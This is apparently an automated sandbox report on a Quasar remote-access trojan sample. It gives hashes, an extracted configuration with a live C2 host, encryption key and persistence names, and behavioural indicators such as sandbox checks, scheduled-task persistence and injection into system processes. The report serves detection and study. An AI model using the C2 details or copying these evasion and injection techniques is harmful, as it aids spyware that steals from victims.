quasar | b26ec4d47dac00d294fe2b327c0f02d6b9c3ba14819ace77d972557640f1105e

General

Target

R0X-Built.exe
Size

409KB
MD5

6755a8034c245ebe11816c1e80286929
SHA1

b620053be1ac5845f10cec36a1072ed6b6e116f8
SHA256

b26ec4d47dac00d294fe2b327c0f02d6b9c3ba14819ace77d972557640f1105e
SHA512

96307fd18ab07df983d3c05c8354a0414888a01bea0a2d80d68a42ee6e8275acceaae3b709d9684a8b8945e8cbbff5eb71907d5eb329c8d9074c29f6d66ca7b8
SSDEEP

12288:3piREGJfR9EqRg//vo3s6z06l/ao7nhvum9Aq:ZwpJdNFCo7hR

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

Slave

C2

looking-memphis.gl.at.ply.gg:45119

Mutex

$Sxr-3vDee7FzoJnhqjuE3n

Attributes

encryption_key
bjv1MgUogo1kl6Tra7jd
install_name
$srr-powershell.exe
log_directory
Logs
reconnect_delay
1000
startup_key
$srr-powershell
subdirectory
Windows

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/540-1-0x0000000000730000-0x000000000079C000-memory.dmp	family_quasar
C:\Windows\SysWOW64\Windows\$srr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1792 created 616 1792 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 1792 created 616	1792	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

$srr-powershell.exeinstall.exe

pid process

4136 $srr-powershell.exe
1636 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

16 raw.githubusercontent.com
15 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

11 ip-api.com

pid	process
4136	$srr-powershell.exe
1636	install.exe

flow	ioc
16	raw.githubusercontent.com
15	raw.githubusercontent.com

flow	ioc
11	ip-api.com

Drops file in System32 directory 13 IoCs

Processes:

svchost.exesvchost.exeDllHost.exepowershell.EXER0X-Built.exe$srr-powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk	DllHost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\SysWOW64\Windows\$srr-powershell.exe	R0X-Built.exe
File opened for modification	C:\Windows\SysWOW64\Windows\$srr-powershell.exe	R0X-Built.exe
File opened for modification	C:\Windows\SysWOW64\Windows\$srr-powershell.exe	$srr-powershell.exe
File opened for modification	C:\Windows\SysWOW64\Windows	$srr-powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1792 set thread context of 5068 1792 powershell.EXE dllhost.exe

description	pid	process	target process
PID 1792 set thread context of 5068	1792	powershell.EXE	dllhost.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

4004 SCHTASKS.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

pid	process
4004	SCHTASKS.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 56 IoCs

Processes:

powershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715324202"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE

Modifies registry class 12 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exesihost.exeExplorer.EXERuntimeBroker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a2cfcb70-5175-475a	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\68d594fb-e381-4443	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exe

pid	process
1792	powershell.EXE
1792	powershell.EXE
1792	powershell.EXE
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe
5068	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3532 Explorer.EXE

pid	process
3532	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	540	R0X-Built.exe
Token: SeDebugPrivilege	4136	$srr-powershell.exe
Token: SeDebugPrivilege	1792	powershell.EXE
Token: SeDebugPrivilege	1792	powershell.EXE
Token: SeDebugPrivilege	5068	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1720	svchost.exe
Token: SeIncreaseQuotaPrivilege	1720	svchost.exe
Token: SeSecurityPrivilege	1720	svchost.exe
Token: SeTakeOwnershipPrivilege	1720	svchost.exe
Token: SeLoadDriverPrivilege	1720	svchost.exe
Token: SeSystemtimePrivilege	1720	svchost.exe
Token: SeBackupPrivilege	1720	svchost.exe
Token: SeRestorePrivilege	1720	svchost.exe
Token: SeShutdownPrivilege	1720	svchost.exe
Token: SeSystemEnvironmentPrivilege	1720	svchost.exe
Token: SeUndockPrivilege	1720	svchost.exe
Token: SeManageVolumePrivilege	1720	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1720	svchost.exe
Token: SeIncreaseQuotaPrivilege	1720	svchost.exe
Token: SeSecurityPrivilege	1720	svchost.exe
Token: SeTakeOwnershipPrivilege	1720	svchost.exe
Token: SeLoadDriverPrivilege	1720	svchost.exe
Token: SeSystemtimePrivilege	1720	svchost.exe
Token: SeBackupPrivilege	1720	svchost.exe
Token: SeRestorePrivilege	1720	svchost.exe
Token: SeShutdownPrivilege	1720	svchost.exe
Token: SeSystemEnvironmentPrivilege	1720	svchost.exe
Token: SeUndockPrivilege	1720	svchost.exe
Token: SeManageVolumePrivilege	1720	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1720	svchost.exe
Token: SeIncreaseQuotaPrivilege	1720	svchost.exe
Token: SeSecurityPrivilege	1720	svchost.exe
Token: SeTakeOwnershipPrivilege	1720	svchost.exe
Token: SeLoadDriverPrivilege	1720	svchost.exe
Token: SeSystemtimePrivilege	1720	svchost.exe
Token: SeBackupPrivilege	1720	svchost.exe
Token: SeRestorePrivilege	1720	svchost.exe
Token: SeShutdownPrivilege	1720	svchost.exe
Token: SeSystemEnvironmentPrivilege	1720	svchost.exe
Token: SeUndockPrivilege	1720	svchost.exe
Token: SeManageVolumePrivilege	1720	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1720	svchost.exe
Token: SeIncreaseQuotaPrivilege	1720	svchost.exe
Token: SeSecurityPrivilege	1720	svchost.exe
Token: SeTakeOwnershipPrivilege	1720	svchost.exe
Token: SeLoadDriverPrivilege	1720	svchost.exe
Token: SeSystemtimePrivilege	1720	svchost.exe
Token: SeBackupPrivilege	1720	svchost.exe
Token: SeRestorePrivilege	1720	svchost.exe
Token: SeShutdownPrivilege	1720	svchost.exe
Token: SeSystemEnvironmentPrivilege	1720	svchost.exe
Token: SeUndockPrivilege	1720	svchost.exe
Token: SeManageVolumePrivilege	1720	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1720	svchost.exe
Token: SeIncreaseQuotaPrivilege	1720	svchost.exe
Token: SeSecurityPrivilege	1720	svchost.exe
Token: SeTakeOwnershipPrivilege	1720	svchost.exe
Token: SeLoadDriverPrivilege	1720	svchost.exe
Token: SeSystemtimePrivilege	1720	svchost.exe
Token: SeBackupPrivilege	1720	svchost.exe
Token: SeRestorePrivilege	1720	svchost.exe
Token: SeShutdownPrivilege	1720	svchost.exe
Token: SeSystemEnvironmentPrivilege	1720	svchost.exe
Token: SeUndockPrivilege	1720	svchost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3532 Explorer.EXE

pid	process
3532	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

R0X-Built.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 540 wrote to memory of 4136	540	R0X-Built.exe	$srr-powershell.exe
PID 540 wrote to memory of 4136	540	R0X-Built.exe	$srr-powershell.exe
PID 540 wrote to memory of 4136	540	R0X-Built.exe	$srr-powershell.exe
PID 540 wrote to memory of 1636	540	R0X-Built.exe	install.exe
PID 540 wrote to memory of 1636	540	R0X-Built.exe	install.exe
PID 540 wrote to memory of 1636	540	R0X-Built.exe	install.exe
PID 540 wrote to memory of 4004	540	R0X-Built.exe	SCHTASKS.exe
PID 540 wrote to memory of 4004	540	R0X-Built.exe	SCHTASKS.exe
PID 540 wrote to memory of 4004	540	R0X-Built.exe	SCHTASKS.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 1792 wrote to memory of 5068	1792	powershell.EXE	dllhost.exe
PID 5068 wrote to memory of 616	5068	dllhost.exe	winlogon.exe
PID 5068 wrote to memory of 676	5068	dllhost.exe	lsass.exe
PID 5068 wrote to memory of 960	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 380	5068	dllhost.exe	dwm.exe
PID 5068 wrote to memory of 692	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1032	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1112	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1136	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1148	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1252	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1264	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1324	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1368	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1420	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1484	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1540	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1556	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1652	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1700	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1728	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1804	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1820	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1940	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1948	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1956	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1052	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 1720	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2112	5068	dllhost.exe	spoolsv.exe
PID 5068 wrote to memory of 2228	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2308	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2456	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2464	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2656	5068	dllhost.exe	sihost.exe
PID 5068 wrote to memory of 2672	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2708	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2788	5068	dllhost.exe	sysmon.exe
PID 5068 wrote to memory of 2796	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2880	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2888	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2928	5068	dllhost.exe	taskhostw.exe
PID 5068 wrote to memory of 2224	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 2960	5068	dllhost.exe	unsecapp.exe
PID 5068 wrote to memory of 3456	5068	dllhost.exe	svchost.exe
PID 5068 wrote to memory of 3532	5068	dllhost.exe	Explorer.EXE
PID 5068 wrote to memory of 3644	5068	dllhost.exe	svchost.exe
